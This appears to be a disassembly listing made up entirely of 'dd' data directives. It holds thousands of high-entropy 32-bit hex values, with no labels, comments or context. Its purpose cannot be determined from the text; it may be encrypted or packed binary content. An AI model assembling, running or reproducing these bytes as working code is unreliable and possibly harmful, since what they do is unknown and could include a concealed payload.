		dd 289D2A42h, 0DD130A75h, 978C3B84h, 289D2A92h,	0EF3A20Dh
		dd 0DD2FA732h, 39CC9AF1h, 6DEC463Dh, 289D19CDh,	1400F323h
		dd 0D914A6B6h, 481Ah, 0E63F5200h, 713FEE9Dh, 84E9E092h
		dd 226F7DADh, 3EBDA712h, 226F7CFBh, 0E6D2C5F5h,	0D2E709E4h
		dd 0FB3A2FDEh, 0BC226F74h, 0F43D8B7Dh, 2B3CF805h, 132334h
		dd 105B0000h, 226F7D2Ah, 86357ED3h, 455B2591h, 952F9A24h
		dd 7A8856C3h, 0DED30CF6h, 226F7D57h, 7ECFD68h, 0FD39095Ah
		dd 0A1D7CE84h, 5F54034Ch, 24464E5Fh, 3806B520h,	41DED2CAh
		dd 91445E4Bh, 0C73E9680h, 4DA79EAFh, 0C9630DF5h, 0ECE1F111h
		dd 2899C849h, 291363A2h, 10218C8Eh, 3E36CE26h, 6D09FC54h
		dd 0DDD82B83h, 4F394A24h, 8DA69923h, 8C6255F7h,	0A860FA76h
		dd 0DC2C165Ah, 0E08F3E87h, 0D5A36331h, 99C855E0h, 0D72C8728h
		dd 51691627h, 95DB274Fh, 8FF10ABh, 6F79FFA3h, 0C045132Ah
		dd 561AE8B6h, 68DAD16Ch, 49694EFDh, 0BEE40E0Eh,	0D8909A91h
		dd 235C462Ah, 0DBC5AF55h, 0E3F48283h, 9B85EF15h, 78A40900h
		dd 755A5A8Ch, 0F80AE0D3h, 6045DE78h, 6CD8A76Dh,	68A69D5Dh
		dd 94ECD69Ah, 0C41C0672h, 0F34B3541h, 185AA9F4h, 67F11D07h
		dd 48615B74h, 0F1E8887Ah, 0FA08DED1h, 0DE24DC76h, 0E7851ABEh
		dd 2DFB632Ch, 18B39DD7h, 78CD1D07h, 8B8B802Fh, 2C9C7B8Ch
		dd 936F27C1h, 6A9BF3DDh, 6102220Ch, 8C78BDB2h, 0D43FA08Bh
		dd 8C76FE06h, 0E7DAFAF1h, 0E57FF111h, 0B19BD52Dh, 14C30C61h
		dd 616F1F1Fh, 8F8433A2h, 9AA5A9A6h, 45B7AE19h, 7A8840DAh
		dd 0AC8D0CF6h, 54AAA5A9h, 7FBD1C4h, 341955ACh, 0D9BE68EFh
		dd 3CEBFC91h, 0CC676757h, 0A1989859h, 5208DF97h, 80F41068h
		dd 0BFE0896h, 0F9A8B235h, 0AE98D62Bh, 0C66F6413h, 0F98AA654h
		dd 0D58D978Eh, 0CB994812h, 0EA443B39h, 1A047492h, 8F6558FAh
		dd 85530258h, 720DF781h, 2EB9717Bh, 9DF2422Ch, 87C0A554h
		dd 67095E0h, 1E9C811Ch,	1D3C33CDh, 5647A06Eh, 0BBB2C3ABh
		dd 7C276856h, 0D4BE298Ch, 6D433650h, 4C31E07Ah,	218A9A93h
		dd 4B554C60h, 17016F93h, 432D43BFh, 0E2B8ABB5h,	78BDB220h
		dd 3F908BADh, 3EF8EFD4h, 31D7FE6Bh, 12B88620h, 0B04103A6h
		dd 0BA4A61CBh, 0C6BD4F10h, 41B5h, 0B037ED00h, 574CFBAAh
		dd 226F7CDEh, 257F76E1h, 91C91EECh, 685D0CA7h, 226F7CCDh
		dd 5A9087F2h, 180DBC05h, 244577FAh, 0EE9D4CB7h,	99883CF9h
		dd 22448328h, 0DCA7EB6Bh, 36403748h, 288Ah, 0B037C800h
		dd 0A287C0AAh, 6588C71h, 96CCC37Dh, 7B49F841h, 0DA5B506Ch
		dd 0DD226F8Eh, 4B6A6172h, 4560E456h, 0D872DD24h, 44715606h
		dd 94C0234Ch, 1289E8DFh, 37E62F84h, 4657B042h, 1DE91124h
		dd 0C5D6715Bh, 470E270Ch, 3604DD07h, 22BDA7CFh,	57A0F52Bh
		dd 2C6BB3A8h, 232C16DFh, 0CEC3AD55h, 17236C67h,	0F9FB778Ch
		dd 43937D8Eh, 1F6A5EEh,	18F9367Fh, 5826D540h, 6817C6AAh
		dd 950C273h, 938AF515h,	3F31D189h, 0F412EA39h, 0B9055F56h
		dd 1382h, 39D3895Fh, 54EE8081h,	710B679Ch, 912B4DB9h, 0AF492BD9h
		dd 7F8509D3h, 62A35BF5h, 25C27A14h, 1FE39B35h, 0B8D1B751h
		dd 9CE372C3h, 0E0B04528h, 6F7E2510h, 3881D622h,	810E9489h
		dd 28932445h, 1E3CAB79h, 3D06EB84h, 0A5D7141Fh,	2F06FBAAh
		dd 90289A66h, 0F7F02E25h, 0E1217963h, 27A4898Fh, 4BA56A85h
		dd 1319FFh, 6AF2F600h, 85E918D0h, 0A2D033EBh, 0C2B65008h
		dd 0E0947028h, 1CA06A46h, 3AF28CE8h, 5911ABCBh,	7A32CC8Eh
		dd 684EE888h, 0E3DB5A4Fh, 47DC289Ch, 0A1EA3F77h, 29780DF2h
		dd 7259B5E7h, 3B675C7Bh, 0C7244594h, 93122318h,	3AA52899h
		dd 0B766D143h, 6D5719E9h, 0EEBCDBD2h, 9C15B13h,	348C76F8h
		dd 0EF3A2CEh, 8660B701h, 25C53B3h, 9B71647Eh, 0D56E0866h
		dd 0B1A2FC07h, 0D75418FCh, 8BFAE4F5h, 12283733h, 4F46572Bh
		dd 0BF8DC0F0h, 0D9483228h, 66A7D550h, 0F9F00148h, 672069C3h
		dd 2C1658A9h, 99A38DADh, 0D79F6628h, 46E95EDh, 4C3FCF1Ah
		dd 0E9DC7C33h, 0A78E8332h, 182899A3h, 8978B6ADh, 0E4B24BE5h
		dd 1D5B521Eh, 50A08AE4h, 0E03B2FBh, 2A6C4BE9h, 9023DFADh
		dd 7A15FF73h, 95007269h, 0C05237E6h, 58532997h,	1FE32118h
		dd 501EB751h, 1D12C1B5h, 2276B418h, 0FF3D349Fh,	33836D03h
		dd 4529D8DEh, 0EC908534h, 0A824495Dh, 0BAAF0DDAh, 2899EB7Bh
		dd 0D6C0D13Ch, 67D2443Bh, 8418EAB8h, 0B598E8B5h, 8AD01782h
		dd 16CE6879h, 4A9A84ECh, 2FFDACF5h, 0FBBBA0D6h,	0CA5FC04Eh
		dd 0B564837Ah, 23241106h, 739B289Ah, 0DDD4E593h, 7019F278h
		dd 3E44AF2Ah, 645AE7F9h, 0BBAAF650h, 98000011h,	0BA720C50h
		dd 0D58D2747h, 0F2AA442Eh, 12CA6414h, 0CE882F2h, 2E46BE42h
		dd 4D29DC94h, 6EECFBB3h, 8AE61CD4h, 0FCF10AF0h,	289CE539h
		dd 1019E97Eh, 226F7D1Eh, 0B04A10D7h, 0B7B94917h, 2F358AC0h
		dd 0E08FA0D6h, 0FEB394FBh, 0E8896E06h, 6D8C83EAh, 42AAFC78h
		dd 4476B524h, 0C072D05h, 3DEC9BACh, 0E7DE946Fh,	7E185AA9h
		dd 0B25136E5h, 0F45F75E8h, 1886AFA4h, 3039289Dh, 9D17FA3Bh
		dd 4152BD28h, 0A921F24Ah, 27D36711h, 129h, 7C88565Fh, 0A5730EF8h
		dd 8F2A145Eh, 0C50E6298h, 0D96156DDh, 39226F7Ch, 0EED8966Bh
		dd 0BCAD5C53h, 556E56D4h, 0E73F7161h, 7F9B69Eh,	0B49CE53Fh
		dd 0B921744Ch, 37D3E711h, 31h, 9EE73F6Fh, 0D96156B6h, 0E6226F7Ch
		dd 7156937Bh, 0C471F6F6h, 618077B3h, 34715679h,	2BDC333Ch
		dd 442ED5A3h, 7EF40F4Dh, 43BD0796h, 3Ch, 9EE73F81h, 0D96156B6h
		dd 0A9226F7Ch, 8856D0B8h, 0E201F87Ch, 0E9CC37FAh, 0D6715B1Dh
		dd 726716C5h, 226F7CC3h, 7CE35247h, 69D4226Fh, 0AD05FC67h
		dd 83B2A756h, 34226F7Dh, 1A64D2C9h, 0E711B921h,	4637D3h
		dd 0C3A80000h, 7F26E1E5h, 0B8412663h, 0D5FC0F9Dh, 56EC443Bh
		dd 0EF87C88h, 0EC467C73h, 6E5820E6h, 56DAC2D3h,	7B00AC71h
		dd 900CD4Fh, 3E45F5EAh,	0F7A2270h, 7C885627h, 0FAE201F8h
		dd 0BCA4CA37h, 2C43BD07h, 81000000h, 0F97D8856h, 477D740Fh
		dd 56BCA4EDh, 6F7CD961h, 0D0B8A922h, 0FB5F8856h, 2A4CB911h
		dd 0C694A540h, 203F363Eh, 0A4CA3738h, 43BD07BCh, 0FFFFFECEh
		dd 0AC715681h, 0BBCC7B34h, 1568C83h, 0AC3B09B8h, 0A398B7AEh
		dd 2442FA34h, 0DFAD5CC7h, 3B34D23h, 0E4B261AAh,	3069531Fh
		dd 9D09FA3Bh, 4152BD28h, 0C452795Ch, 574EC093h,	4AF24338h
		dd 3318289Dh, 83667485h, 39ABA281h
		dd 0D265E4CEh, 16289C8Ah, 0C307F3E6h, 0DD91417h, 52h, 7D291045h
		dd 38CA226Fh, 0EA887Bh,	6175BA8h, 7CD36257h, 79E4226Fh
		dd 6735CE68h, 8BE71C9Fh, 0FEF506A1h, 6F7DA199h,	0BC055A22h
		dd 75DA180Dh, 2F572445h, 19B49ED4h, 7B8B5908h, 85CB6A5Fh
		dd 81EC2899h, 0D66F7970h, 847BDF08h, 0A152h, 0A7569000h
		dd 7D3203F8h, 1A85226Fh, 6F7D1025h, 453CA722h, 0C271BA0Fh
		dd 455F25CDh, 701F8A24h, 944145A2h, 356F73A3h, 4CE57F90h
		dd 7F1697Eh, 0B037756Ch, 1B70C0AAh, 0C12E23D2h,	822A6C5Fh
		dd 4D9A6817h, 7D795E0Dh, 8402FA6Ch, 924A544Bh, 0CB1B0555h
		dd 897E2D76h, 244A18FEh, 0D9A756C1h, 0F5AD4729h, 0E45D630Dh
		dd 656A84F8h, 0EE8BF0Bh, 23C50000h, 1AE79F39h, 102BA54h
		dd 0E71FD771h, 0C53FF791h, 6F3915AFh, 0C15B19EBh, 0E07AFC09h
		dd 19BBF28h, 1DB7B949h,	0C291E37h, 0B3289CE8h, 71564E1Eh
		dd 0A06DEEFAh, 76F966Eh, 7A71821Dh, 0E2D6C63Ch,	0AAC34FA6h
		dd 0BBA5CB37h, 6B600F20h, 227062CAh, 0C27182EDh, 0D44C6BDDh
		dd 5F56FAABh, 7D55AD05h, 7011AD88h, 0B9A14622h,	0C73234CFh
		dd 343ECCB6h, 0E6DB8A41h, 2270114Fh, 11135FA4h,	9171AFA6h
		dd 654B30DFh, 0D12B682h, 0E4B2BCB3h, 0D2E78CE6h, 7EF60EDCh
		dd 4A7687h, 56AE0000h, 10FA7E88h, 0F3487E75h, 1806FBAAh
		dd 99244560h, 16EC442Eh, 0FA08C05Ah, 0CF9C776h,	1BE45696h
		dd 8899B6F6h, 0B20C039Eh, 15C40D62h, 0D0BAA047h, 2A1F3E35h
		dd 2A7016C8h, 6A4FFE69h, 33FDAB1Ch, 90DE23BCh, 0AC7E887Fh
		dd 0AA4CA37h, 10BFAF52h, 7CC96C61h, 83EE226Fh, 4AF9328Ch
		dd 0FAEF6B7Ch, 226F7D3Bh, 0A443117Ch, 0DA5ABFB6h, 0F226F7Ch
		dd 38E882D8h, 0F6EB9AE3h, 2442266Bh, 3C0AB924h,	98B7AECAh
		dd 9F3939CAh, 7A8856CDh, 1FABFFF6h, 0B1D36712h,	159h, 0A2EB3FE9h
		dd 0D96156BAh, 0A9226F7Ch, 6E2409B8h, 3D75F3Eh,	56B10900h
		dd 0B8BFA571h, 702D72C3h, 0F5DA4522h, 9B905315h, 226F999Ah
		dd 0AAA1B21Dh, 0A756A38Bh, 6F7D83B2h, 0A5F53422h, 4DE18AA3h
		dd 64847B8Ch, 88568070h, 0CC02F97Dh, 0AE7C2B74h, 9C372139h
		dd 88564DA5h, 0B60EF87Ch, 0A43F2931h, 2E209C93h, 0B49CE53Fh
		dd 0B921744Ch, 37D3E711h, 38h, 7988566Fh, 79700BF5h, 0F04EB43h
		dd 226F7D26h, 351D2E99h, 7CD96156h, 0DDE6226Fh,	6F7D4DE8h
		dd 165EA622h, 248F912Ch, 6E562B13h, 0BEA6CC37h,	4643BD07h
		dd 81000000h, 83B2A756h, 34226F7Dh, 449CD2C9h, 615613FBh
		dd 226F7CD9h, 0FAF1E4A9h, 0E363505Ch, 6FA947EEh, 0FC0D7822h
		dd 0A75603EBh, 0DE66EBC2h, 0AC247FDDh, 6AA82129h, 93EBE2F3h
		dd 0BEA6CC37h, 0FB5F8856h, 117F7611h, 11B921C7h, 3437D3E7h
		dd 0A8000000h, 7D3104F9h, 1B861F6Fh, 0E53FCC24h, 6156B49Ch
		dd 226F7CD9h, 0DC9A6B39h, 200873E5h, 0CA376E56h, 3710F5A4h
		dd 0BAC82EFDh, 79EF6EDh, 2543BDh, 3F810000h, 2C09FEE5h
		dd 93226F7Dh, 562F1728h, 6F7CD961h, 7BE4A922h, 964BD2E9h
		dd 56796172h, 0A4CA376Eh, 43BD07BCh, 0FFFFFE99h, 0B2A75681h
		dd 226F7D83h, 9CD2C934h, 5A4FFE47h, 2442257Dh, 5624D33Eh
		dd 912AC4ACh, 5B0882ACh, 0BA30E6CBh, 0AACF2BA9h, 62988FA0h
		dd 1C11C009h, 289D6119h, 6505F9Eh, 3CDBCB3h, 0AE8908F2h
		dd 42289D3Eh, 97331F12h, 39D914CAh, 19h, 7D291071h, 4E9226Fh
		dd 0D94AC103h, 0DF1D14EDh, 7B34D23h, 0BBh, 0A1EA3F45h
		dd 63B9FDF2h, 83512445h, 88FAF17Fh, 9CAB8A7Fh, 6A5F2899h
		dd 28999BCBh, 147F81ECh, 0BA8982Fh, 0A8B91676h,	0E0554AF9h
		dd 0D72899F6h, 0A756756Ch, 5D4729D9h, 5A8DCBC2h, 8C15112Ch
		dd 0A5B6D17Bh, 0C694530Bh, 0EE378CDCh, 0C3A14A3Fh, 0B7222A6Ch
		dd 0ADAD3A08h, 0FA8C5B13h, 4FD02A69h, 6F596A8Fh, 0D281CA1Fh
		dd 492EAADDh, 93724024h, 527AECE3h, 4B3C4B4h, 0AA4CC36h
		dd 0BAC0B052h, 6A848E91h, 67125EB8h, 4400000Bh,	661EB8A4h
		dd 8139D39Bh, 9E56F082h, 0BE761068h, 0B8942E46h, 0DA9A6AEEh
		dd 0F97D8840h, 1A40A75Fh, 363AC880h, 0A89DB69Ch, 289CEB8Dh
		dd 37CD9D32h, 63BBA5CBh, 8FE7D19Fh, 0BA12FC72h,	21412B4Bh
		dd 6F738C7Fh, 669C7265h, 0D112876Ch, 7A15E181h,	6FF7B085h
		dd 8B9C0722h, 94FCF7DCh, 0B1739677h, 0E8E2B0BAh, 0E8D2E805h
		dd 54h,	83B7459h, 234F5A32h, 0EA3FD42Ch, 71FDF2A1h, 36244550h
		dd 7989E1CBh, 8A7A48F7h, 6E6500EAh, 7C56AC64h, 99B0AE87h
		dd 95A61128h, 0BD065BABh, 969D190Eh, 90752A6Fh,	27B38DF2h
		dd 0EF61585Bh, 0A251EA84h, 0E3C81CBDh, 4F9CE26h, 22703E31h
		dd 0CC241B86h, 0AA4CA37h, 6F7D032Bh, 8E0FD822h,	54EEFF77h
		dd 73684FA4h, 226F7CC2h, 0CA798AF5h, 422687D5h,	1ECD3824h
		dd 0D5BB7A6Fh, 91FC289Ch, 56AD7B9Ah, 489F6D1Ch,	33D02812h
		dd 2D372E3Fh, 11A9215Bh, 9527D367h, 5F000001h, 0F3A2EB3Fh
		dd 0DC51850Eh, 4DB7605Dh, 72671627h, 226FACC3h,	3A9289F4h
		dd 7CD96156h, 5439226Fh, 0C2B7B8ACh, 22705473h,	2FF4D944h
		dd 104D2A3h, 0DECF7E75h, 7A8856F6h, 7A710CF6h, 90C7AC5Bh
		dd 0A6A9A6Eh, 0F4FDAF25h, 6155A5FDh, 0E1E73F71h, 2D665022h
		dd 6F7CFD38h, 4657C222h, 7D93A297h, 0B924226Fh,	7F9C0A8h
		dd 83B2A756h, 34226F7Dh, 429CD2C9h, 0A69B4AF9h,	226F7D8Fh
		dd 76CEC530h, 0B921744Ch, 37D3E711h, 4Eh, 6BBBC3A8h, 8D911810h
		dd 36796526h, 0CDC4D57Bh, 0CAE73F75h, 0A1A6F733h, 0CBB3C478h
		dd 7CD96156h, 0BEE6226Fh, 578C5B47h, 589E9F6Fh,	13C25D47h
		dd 706E171Eh, 2C3DA822h, 376E5644h, 7BEA6CCh, 2D43BDh
		dd 0ECBA0000h, 0D9745E1Ah, 0E73F8AE2h, 6156B69Eh, 226F7CD9h
		dd 56D0B8A9h, 0DF77B88h, 745C7B72h, 0BEA6CC37h,	848C7156h
		dd 5C8DB3DBh, 21ADF765h, 0D3E711B9h, 3F37h, 88566F00h
		dd 0D3625779h, 0E4226F7Ch, 0E37E6879h, 135CB6ECh, 75C0B564h
		dd 4A226F7Dh, 83F511DFh, 0AF07FE99h, 7CD96156h,	7BE6226Fh
		dd 376E5693h, 7BCA4CAh,	7A8856BDh, 47CDFFF6h, 0B000000h
		dd 0B49CE53Fh, 0ECFC7156h, 0AF48482h, 3E108A6Fh, 5247665Dh
		dd 226FAEE8h, 56C3AB9Ch, 0F271566Eh, 0DADC35E6h, 482AD9A7h
		dd 0ACEE1351h, 1CBF85DEh, 0C2AABBB3h, 8CA07156h, 71182287h
		dd 0FE2F8438h, 0B1A8B9B4h, 6243F943h, 81FFFFFEh, 0F2A1EA3Fh
		dd 7CE74E43h, 6DD8226Fh, 75625776h, 59244225h, 6B605C8Bh
		dd 289CD5CAh, 877182EDh, 1883F5ECh, 9679B69h, 1D66BF6Fh
		dd 0D5BC796Eh, 9803289Ch, 0D6082FAEh, 0BCEC289Ch, 62EDDDC9h
		dd 2DE3D914h, 54000000h, 452BD7A5h, 9CCDE550h, 0FD382D28h
		dd 0C2289CCDh, 574C5557h, 289CCDDEh, 6E6576E1h,	7D291016h
		dd 38CA226Fh, 0D3F29E38h, 30000000h, 0F2A1EA3Fh, 0AC96E224h
		dd 9AA62C11h, 0E05F27F7h, 361BCAE9h, 0B5EB7306h, 0D6CB7AF0h
		dd 226FFB5Fh, 99FEF560h, 2445F681h, 3F24D33Eh, 0B2BC3347h
		dd 0C9E8DFE5h, 0D46EECFBh, 0A58FCB1Ch, 8B70055h, 14EECB3Ah
		dd 35544B5Ch, 284CB886h, 0B01BCC31h, 319C2A6Ch,	5D382h
		dd 3F294BB9h, 0EA993A4h, 4C0ED917h, 6DEDFAB2h, 867C4A83h
		dd 68BDF3EAh, 8E8B701Fh, 4F6E0DA1h, 40EF0E05h, 0F9E39372h
		dd 8502675Eh, 3624496Dh, 0B44E1CCBh, 0BB8922BCh, 0F8362D4Bh
		dd 0F560660Ah
		dd 546A844Fh, 7B4AEFAh,	57910000h, 4EB36B05h, 35CE8620h
		dd 1BEBA33Dh, 0F90BC35Dh, 3B05E17Bh, 8D274DB7h,	0AC4630D5h
		dd 0CD67F3F4h, 0E983ED15h, 40F5EA03h, 77289CEFh, 0CB3712E2h
		dd 9F63BBA5h, 7E7322D1h, 226F7DB7h, 0A8AAC63Ch,	5EEC463Dh
		dd 778B6154h, 0F8C65FF9h, 1B6F660Ah, 0D2E70DAFh, 5921h
		dd 15E39200h, 0A29388D2h, 15226F71h, 565BB3AAh,	10FA7E88h
		dd 0F3487E75h, 6806FBAAh, 0C9244549h, 44F5745Eh, 0AF2899B1h
		dd 0DB331D53h, 0A624C2Ah, 0F6917BFBh, 0C5B2A535h, 1C4065CFh
		dd 0DBACBDF8h, 0D42FFDACh, 0F48CA99Eh, 0C8332899h, 0D2BEB1D1h
		dd 0D91184F8h, 4CD8h, 0A7561000h, 6F7D83B2h, 0E4C93422h
		dd 0FBC9C084h, 83B9B0BBh, 4136E52Eh, 24462265h,	0AD05EF5Ah
		dd 0C9811B55h, 91A49939h, 26289A23h, 1E170CBBh,	0A1289A23h
		dd 0EB3B2536h, 0A99E4D96h, 2A701E71h, 0EC867C61h, 5223B5F7h
		dd 0E47EE95Bh, 13811612h, 53E2D7BEh, 64226F7Dh,	4439E8F9h
		dd 24455BAEh, 0AEFA813h, 0E8435D8Eh, 1ECD166Bh,	0A1CCF529h
		dd 517BBAEAh, 1AE22A87h, 40907A8Bh, 531DE5EBh, 129A4F6Eh
		dd 0CFE0B69Dh, 1552B20h, 9B69E4BCh, 0A3150C6Ah,	47BB8938h
		dd 2BD78F29h, 0C0203F45h, 0CF292AB6h, 65983h, 0AAB23600h
		dd 0C5A95810h, 0E290732Bh, 2769048h, 2054B068h,	5CE0AA86h
		dd 7A32CCA8h, 9951EB8Bh, 0BA720C4Eh, 0A88E2848h, 0F19B9A8Fh
		dd 871C289Ch, 0A5CB37B7h, 0DED382BBh, 226F7D57h, 0C806FD68h
		dd 0BA88373Bh, 2A342B4Bh, 2DDC257Ah, 0E3CDA35Fh, 83325148h
		dd 0BFFB69Eh, 64498C26h, 60377AD6h, 0CB302707h,	2442AE1Ch
		dd 0F24A349Fh, 0E5B6111h, 3B6A8810h, 5E095E1h, 2BBD0000h
		dd 22DF9731h, 9FAB24Ch,	0EF17CF69h, 0CD37EF89h,	67310DA7h
		dd 0B95321E3h, 0D8720401h, 0F993C720h, 15AFC141h, 1421162Fh
		dd 0AB289CF1h, 0EA3F4616h, 0EEFDF2A1h, 4244225h, 0F8A7CF36h
		dd 9CD63203h, 231A8528h, 9FA172B1h, 0DEFCCE88h,	0C8634D25h
		dd 12F7A6B7h, 0F72F313Ah, 6FC9C058h, 0DB7F6836h, 215F56F1h
		dd 38FDF2E2h, 7F289CB3h, 76FD0314h, 0D36A8774h,	5642D79h
		dd 0A7410000h, 9E631BB5h, 857E36D0h, 6B9B53EDh,	49BB730Dh
		dd 0EBB5912Bh, 3DD79D67h, 5CF68085h, 7D1743A4h,	99333DC5h
		dd 90A59AB3h, 27289CF1h, 7156C292h, 6B98CEA6h, 0FE992207h
		dd 69F1F6C4h, 9EE73C72h, 0EA4B40EFh, 0CD22700Eh, 574C6B62h
		dd 2442B798h, 6EC6B01Bh, 0FEE0995h, 0BF08480h, 0CADB3394h
		dd 879BB9C4h, 0EA36906Ah, 4F6h,	0AD4715D3h, 0C8620CF5h
		dd 0E57FF310h, 59FD92Dh, 23BDB74Dh, 0BF97D47h, 0EE17CF69h
		dd 0B136EE88h, 0AB570FA9h, 2C452BC5h, 9CF1FE37h, 5C2CC128h
		dd 0F5798856h, 9042C0FEh, 6F7D9A9Bh, 0A1B21D22h, 2FA35FB7h
		dd 6F7CFB3Ah, 4051BC22h, 5642AC91h, 3E7A119Bh, 2BCDED47h
		dd 0D0A06238h, 2F847E36h, 17B29CD2h, 15E31C06h,	46EFE4ECh
		dd 79226F93h, 0A106FD0Eh, 226F9399h, 8DED171h, 18C776FAh
		dd 6F931223h, 433AA522h, 34D2A039h, 3025A44h, 0DDEE8973h
		dd 595AA8E6h, 0C6F9F6ACh, 38651178h, 1EE53D27h,	0BECF6A54h
		dd 976BC3ADh, 3A8F3FD9h, 1D4D42F1h, 0F5244564h,	0AB95DB27h
		dd 0ABB87D72h, 94FF2899h, 0AF1A8C83h, 0ABF346C5h, 0CDFD2899h
		dd 38DCEEDAh, 43F4D911h, 2C000000h, 0F2A1EA3Fh,	4556B5FDh
		dd 0A58FFA24h, 99A71326h, 4F23E028h, 0C3DA0D65h, 3A243543h
		dd 0DA91840Eh, 99A750E5h, 0EBFC6728h, 0E51DEB1Ah, 0BC49A18Bh
		dd 2435D0BAh, 2E1A0D2Dh, 0D911379Ch, 0C734h, 0CB376C00h
		dd 0A163BBA5h, 7889D116h, 0A4CC368Eh, 94DA27F5h, 0BE180FAAh
		dd 3AD49C66h, 6F79215Bh, 872CD622h, 710CF67Ch, 7691278Ch
		dd 2334A011h, 0FC0BF089h, 66AB5F06h, 0CB37756Ch, 166BBBA5h
		dd 11291ECDh, 0AE244570h, 0B2237F86h, 395C19EAh, 730D1E2Fh
		dd 76256EC3h, 5A72E2C7h, 0D42633D7h, 317178DDh,	0C32E2A6Eh
		dd 0B6BE4614h, 0DFD4831Ch, 22764E56h, 0C907FE69h, 5433393Bh
		dd 0F5646110h, 3544F9Bh, 0B7310000h, 0AE530BA5h, 956E26C0h
		dd 7B8B43DDh, 59AB63FDh, 0DBA5811Bh, 2DC7AD57h,	4CE69075h
		dd 6D075394h, 89234DB5h, 0A0958AA3h, 17289CF4h,	7156B282h
		dd 1F6C9DFBh, 9DDBD26Bh, 0BB730D67h, 0BD8F2947h, 0F2A1EA3Fh
		dd 0E38D7543h, 572B87ECh, 19842445h, 0A669C6Ah,	0EA0DB120h
		dd 0BA8F13DAh, 6B64C4A9h, 1EE74DA9h, 0AF94CD27h, 1FE4BDD6h
		dd 0D97B6E53h, 0DB5EC3BAh, 15289A12h, 0C406F2E5h, 0CD911A3h
		dd 0B6h, 0D1CB3744h, 96AC923Bh,	0E0CADB69h, 3C247C88h
		dd 1C2F91A2h, 0F0887E4Ch, 676F5DFh, 0F3226FCDh,	0FC7610Fh
		dd 43937DF3h, 1F6A5EEh,	2445B739h, 9E6C1B86h, 8B261068h
		dd 85DA8A94h, 44BF8D3Ch, 2318372Eh, 2A6E0F27h, 0F0BE6DD8h
		dd 0EC66014h, 19787EF6h, 30646131h, 2708AD6h, 9B4D0000h
		dd 926F27C1h, 798A42DCh, 5FA75FF9h, 3DC77F19h, 0F7C19D37h
		dd 49E39173h, 68027491h, 892337B0h, 0A53F31D1h,	84B1A6BFh
		dd 3B289CF4h, 0CD37D6A6h, 0C5740DA7h, 6F7D65D0h, 0F8EF5A22h
		dd 7C6B48BAh, 7CEA4B40h, 62CD226Fh, 392E6751h, 226F7CFCh
		dd 364758C3h, 0CB37CA9Ch, 9F63BBA5h, 7E7322D1h,	226F7DB7h
		dd 9CA69D08h, 9F4E97ECh, 4549C4AAh, 4BFA6524h, 0F6ED877Dh
		dd 0B11C1D9Ch, 0A4D42899h, 3E05C5B1h, 29CBD911h, 3000000h
		dd 0F2A1EA3Fh, 4575F5FDh, 654FBA24h, 998653E6h,	7A6D9D28h
		dd 11173C8Eh, 15A186D9h, 7E3F72C7h, 36F607FEh, 2E000000h
		dd 0D1777156h, 8DA16CF0h, 87BF0EA8h, 271E0909h,	700478C2h
		dd 0E7308522h, 0CF4B4338h, 2D6C2445h, 9A79E38h,	4F21E13Ah
		dd 0D4B9CA65h, 27215DCCh, 0C96374A9h, 187156F7h, 0DFC0F98h
		dd 0B90E443Bh, 37214FB3h, 2DDC8B9Ch, 6FDDFD38h,	6057C222h
		dd 0A9DA4C41h, 74DF2445h, 0D22E0B8Ah, 92C22899h, 5F17B39Fh
		dd 21B9D911h, 0F1000000h, 6F7D2910h, 347DD222h,	48FE9085h
		dd 48162445h, 31CCB6BAh, 0BDD0604Ch, 372ED965h,	0EEC05AC5h
		dd 0F2A1EA3Fh, 4225FAFDh, 0A352BD24h, 94432DD5h, 4F3921C6h
		dd 53640AF7h, 0EBB9525Ch, 0D36E5816h, 0C649EDCh, 347DD222h
		dd 7FEC9085h, 0F9A82A6Fh, 6F7D3104h, 241B8622h,	317173B2h
		dd 0DB3AFBF0h, 127D226Fh, 0AF33042Dh, 0E121EF9Eh, 0C53DF58Fh
		dd 584DFCABh, 226FD8DDh, 0D3C877E2h, 226FD962h,	99F3EA55h
		dd 0FCABF449h, 45D06307h, 0EC9DDC24h, 0A9A0D36Dh, 53484E5Fh
		dd 0F66A8504h, 0AC509Ch, 5F890000h, 56AB63FDh, 3DC67E18h
		dd 23E39B35h, 103BB55h,	33FDD973h, 851F55AFh, 0A43E38CDh
		dd 0C55FFBECh, 0E17BF50Dh, 48EDE2FBh, 6F289CF6h, 0EA3F0ADAh
		dd 4E43F2A1h, 226F7CE7h, 57766DD8h, 4828DAA8h, 67CCC35Eh
		dd 24422599h, 2D856FDAh, 4C24DED5h, 1CB6C762h, 0E8D29E64h
		dd 9D640469h, 8275177Fh, 801A56ACh, 4C363AC8h, 7C6612F4h
		dd 15EBDEF8h, 31E983EDh, 0FA1C01D1h, 0D125C356h, 1C70C5BAh
		dd 0DC477FA2h, 0C3A8E1CBh, 6651097Ah, 6C9E951Ch, 16h, 798856AAh
		dd 98B7FEF5h, 4D3737CAh, 4D6DF4DEh, 8FA0F153h, 0B1374098h
		dd 9969C1ABh, 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h
		dd 0B551A993h, 8281D9C3h, 53AE06F0h, 6816311Bh,	50C1h
		dd 24048F54h, 4240481h,	53000000h, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 0DA68240Ch, 8900006Ah, 0BF572404h, 0C0D37CEh
		dd 7FD1E781h, 554F16DAh, 0F9766FBDh, 6E5C133h, 4017E581h
		dd 0CD810C0Eh, 54474F15h, 0F581DDF7h, 0D434C71Ch, 815DEF29h
		dd 0DA2D52E7h, 0CDEF8110h, 89FA54D1h, 8B545FF9h, 0C4812404h
		dd 4, 8408F51h,	5624048Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 34FF5C24h, 0C4835924h, 314E904h, 0A72CFFFDh,	2D7A7FB8h
		dd 0FFC50306h, 985C2BE0h, 42EE3419h, 0AE267306h, 218AA40h
		dd 0CF857203h, 1587C80Ah, 62A23311h, 2738177h, 0EA29351Fh
		dd 1A45FD53h, 2A574720h, 0E1923C4Ah, 3205681Ch,	6DF7863Ch
		dd 95BDB61Bh, 7A019A14h, 0C7BA7D06h, 0BD64F404h, 0B892072Dh
		dd 12E86Dh, 0EE550000h,	3FA7F371h, 0C64E223Bh, 4746D054h
		dd 82511B3Fh, 296AB852h, 59587711h, 22EBC081h, 0C1811967h
		dd 5EB6h, 15840Fh, 10E90000h, 65000000h, 42EFFC42h, 952D5A2Eh
		dd 558C7396h, 0BACEBE57h, 0
		dd 0B816BB66h, 0E90A34FFh, 0Eh,	67A3BA6Bh, 6BAB2107h, 886B377Ch
		dd 0F85F381Bh, 3729EF81h, 0C7811E73h, 74130317h, 7AF781FCh
